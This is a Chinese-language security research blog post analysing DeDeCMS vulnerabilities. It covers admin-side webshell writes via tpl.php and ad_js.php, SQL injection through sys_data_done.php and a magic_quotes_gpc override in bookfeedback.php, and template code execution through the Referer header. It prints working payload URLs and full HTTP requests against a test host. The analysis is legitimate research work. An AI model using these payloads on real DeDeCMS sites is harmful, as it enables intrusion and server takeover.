DeDeCMS漏洞分析
date
Dec 9, 2021
slug
dedecms-cve-analyse
status
Published
tags
安全研究
PHP安全
Jekyll
summary
最近看到这个cms又爆出漏洞,抓紧分析一下
type
Post
1.首先需要了解一个点,就是这个CMS 使用的是全局覆盖去注册变量的,都会经过
include/common.inc.php
这个文件进行处理,这个文件处理了是否符合php版本,还有一些安全过滤,更重要的是全局的变量注册也是在这个文件里面,这里面所有进来的变量都会经过addslashes的处理,也就是存在引号的内容确实会被转义的,可以调试一下就能发现他的流程,用了递归实现在admin的后台目录里面,是通过包含config.php文件进行鉴权的操作,没有管理员的权限就会直接exit掉
2.数据库语句里面的
#@__myad
,这里的 #@
在执行数据库详细语句的时候会转换成dede
3.整个CMS使用的include/dedesqli.class.php中的CheckSql检查SQL语句
这个CMS很久之前的版本了,之前还是爆出很多后台的漏洞的
历史漏洞
1.后台tpl.php代码执行
tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell
payload 如下:
/dede/tpl.php?action=savetagfile&filename=mochazz.lib.php&content=<?php phpinfo();?>&token=[你的token值]
观察action是savetagfile的时候存在什么操作,这里有一个文件写的操作,但是前提还得绕过一下csrf的检测,而且filename和content参数都是可控的点,尽管中间进行了一些过滤的操作
stripslashes
函数的处理,只是删除删除由 addslashes()
函数添加的反斜杠,filename必须满足xxx.lib.php的格式查看csrf_check这个函数,会根据你提供token与session进行检测,在哪个地方可以获取这个$_SESSION['token']呢,可以搜索功能页面或者全局搜索
$_SESSION['token']
,可以在input标签里面查找到这个值只需要在tpl.php这个页面触发upload操作即可
test.top:8880/dede57/dede/tpl.php?action=upload
接着就是构造filename和content了,成功写入
http://test.top:8880/dede57/dede/tpl.php?action=savetagfile&filename=4me.lib.php&content=<?php phpinfo();?>&token=667cf8f9020f184bd9483d4b97ed3038
2.plus/ad_js.php代码执行
这个页面存在写文件的高危操作,尽管文件名后缀是固定的,但是这里的最后还有一个文件包含的触发点,只要我们可以写入PHP的代码内容即可
观察到内容变量是从
$adbody
是从数据库里面提取出来的,通过$row = $dsql->GetOne("SELECT * FROM #@__myad WHERE aid='$aid' ");
这个语句获取出来的内容,那么现在就需要寻找一下这个表哪里存在插入的语句,在后台的/ad_add.php:81存在这样的更新SQL语句,所以说这个点还是需要后台的管理员权限操作访问一下这个页面,抓个包,这里面,包含了我们的恶意代码,里面tagname对应的就是aid参数
插入之后的内容都在这里显示,如果是插入单引号的内容会转义,最好还是不要带上单引号
尝试触发一下漏洞,设置一下$nocache和$aid变量,这里对应的aid为2
test.top:8880/dede57/plus/ad_js.php?nocache=1&aid=2
此时已经写进去了
包含调用的话还需要输出闭合HTML注释的内容,不然会输出在注释里,不会在页面展示出来
修改一下就好
3.winapi查找后台目录
利用场景:
1、win系统下搭建的网站
2、网站后台目录存在/images/中的一个图片
基础知识
windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
实际测试中用“<”或者“<<”都可以读到文件名很长的文件,而作者说“<”只能代表一个字符。
主要涉及的文件:
common.inc.php
在涉及到文件上传的参数的时候,会进入到这个文件处理uploadsafe.inc.php
关注这个文件内容,里面设置了一些不允许上传的文件后缀名,主要关注的点在getimagesize函数,只要有具体的文件内容就可以从里面获取信息,通过回显
Upload filetype not allow !
来判断首先来试一下这个windows特性,一个或者两个
<
都是可以触发文件包含的准备 test.php和 c4ca4238a0b923820dcc509a6f75849b.php
<?php
$name = $_GET['a'];
include $name;
<?php phpinfo();?>
但是当单独测试一下getimagesize这个函数,当存在的图片,与不存在的图片是什么反应,发现这个trick好像已经用不了了,只有完整路径才可行了
新的漏洞
这个版本的还是使用include/common.inc.php进行全局变量的注册处理
这个作者从source就分析得很仔细,从全局变量注册开始,就注意到这里面全局变量还有$_FILE和$_SERVER的全局变量并没有被过滤掉,所以还能从这两个全局变量入手
所以这个点会导致一些跳转漏洞和一些反序列化的漏洞,作者认为
include/uploadsafe.inc.php
中处理文件上传内容的地方是存在反序列化风险的(具体就是getimagesize和filesize这两函数),但是找不到gadgets,但是还是可以构造一个DDOS漏洞的,可以参考这一篇文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485159&idx=1&sn=50b2e94d2d6fc5f69c540113ae9b3f1c&chksm=e89e2e3fdfe9a729869444aa593e97b52970add524b219553f646e8af2aec06e25e8678e7dde&mpshare=1&scene=23&srcid=0822QPN3ZXccNvKuWTQoahLi#rd直接是通过FILES全局变量赋值,上传总是需要设置4个属性,这是上传检测的这份代码写死了的
$keyarr = array('name', 'type', 'tmp_name', 'size');
只要tmp_name属性是一个phar协议的内容,就可以触发反序列化了,这并没有太大危害,作者利用这个点构造新的变量,先是通过
include/common.inc.php
的GET方式处理生成$_FILES全局变量→include/uploadsafe.inc.php
对FILES方式的处理生成对应的具体变量而且利用表单提交的话还可以将绕过这里进入转义的那个过程,因为此时POST变量为空
先是寻找了SQL注入的利用点
作者以dede/sys_payment.php的页面为例子,想构造pay_name的注入参数,这里巧就巧在这个变量刚好是下划线拼接的name,刚好在这个页面找到对应的这样格式的参数拼接SQL语句,绝了
调试的时候发现已经闭合SQL语句了,但是结果却不能执行
这不能执行的原因在于底层做了防护,大多执行语句的函数在
include/dedesqli.class.php
中,其中SetQuery函数会针对SQL语句进行检查,所以这个点的注入不太好使,而且没有报错信息的返回,报错注入也不太管用了然后作者寻找那些地方使用上了这个CheckSql函数,发现这个页面下存在两个,一个SetQuery一个Execute
再寻找没有使用这两个函数的封装函数,作者找到一个显而易见的点,直接调用SQL语句的mysqli_query函数
在dede/sys_data_done.php调用了这个函数,但是此时的sink并没有像pay_name格式这么刚刚好,所以这里会经过
_RunMagicQuotes
这个函数,如果需要引号的内容的话,利用起来还是有点复杂的,但是没有引号的还是可以触发的,但是这个点仍然需要后台权限的校验GET /dede581/dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
Host: test.top:8880
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b06759fe80ffe732bb2673f952528fe5; DedeUserID=1; DedeUserID__ckMd5=5b5668983ebc6ea8; DedeLoginTime=1633439876; DedeLoginTime__ckMd5=c5f24efc956c9acb; _csrf_name_5eddc9fb=1421828a04034ee5508ff8b62aa55c8e; _csrf_name_5eddc9fb__ckMd5=2db0863d8f9ae8d7
Connection: close
作者又在include/filter.inc.php这个文件里面找到有趣的东西,就是$magic_quotes_gpc这个变量,这个变量是从配置文件里面读取的,但是这个配置选项早在PHP5.4就被移除了,ini_get获取不到的配置选项的值会返回false
这个地方再一次重新注册全局变量,服了,导致了问题的发生,一开始将$magic_quotes_gpc,设置为1,此时后面重新注册全局变量,导致后面的内容完全就不需要经过转义了,牛逼
所以到这里的关键点就是找调用了这个文件的地方,作者找到
/plus/bookfeedback.php
无需注册即可使用的点,存在两个可控变量一个catid一个是bookname,发表评论写入内容POST /dede57/plus/bookfeedback.php?fid=123 HTTP/1.1
Host: test.top:8880
Content-Length: 178
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.top:8880
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.top:8880/dede57/plus/bookfeedback.php?action=send&fid=1337?action=send&fid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b06759fe80ffe732bb2673f952528fe5; _csrf_name_9461b8a7=67db522c6c5571ed6aba7b9260384952; _csrf_name_9461b8a7__ckMd5=f6c888f6acfb188e
Connection: close
action=send&aid=0&isconfirm=yes&face=6&feedbacktype=feedback&msg=test&username=&pwd=&validate=CSTD&magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&comtype=comments
本质上触发的也是SQL注入罢了
后续作者关注了DEDECMS的模板,这个模板以前也爆出过漏洞:
主要触发的点在于DedeTagParse类中的Display()方法→GetResult→AssignSysTag→RunPHP ,最终达到执行代码的效果
作者借鉴这个思路(还是不大一样的),找了一个ShowMsg函数,这个函数在最后回用到\DedeTemplate::Display方法,这里面的$gourl参数可以通过
$_SERVER['HTTP_REFERER']
获取,然后LoadString将输入的内容赋值给当前的类变量$this->sourceString
,然后进入Display方法(本质上的调用是在这里的include文件包含),最后会进入到WriteCache,写上缓存文件,其中的WriteCache里面的result是我们写入的HTML内容在这个写入缓存文件的过程中还会有一个危险函数的检测CheckDisabledFunctions,但是可以轻易绕过,原作者用的是
"system"("id")
的形式其实不止这一种的绕过方式
作者最后围绕ShowMsg函数找了一下路由:
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
...
直接删掉加载模板的这一块东西
这个漏洞主要还是在pre版本里面出现
危险点:
1.$_FILES(直接form表单提交形式的话)和 $_SERVER并没有经过转义的过滤,全局注册变量的弊端
2.magic_quotes_gpc在filter.inc.php中的问题(PHP5.4以后不再使用该选项),如果调用了这个文件,会重新进行一次赋值的操作,容易导致SQL注入的产生,只要执行语句中不再重复使用select语句的话可能会触发SQL注入
3.模板处理的危险点
4.后续可已关注的挖掘点:
include/dedetag.class.php
文件里的处理函数,比如SetTemplet第二个参数是string类型的,或者是调用了Display函数的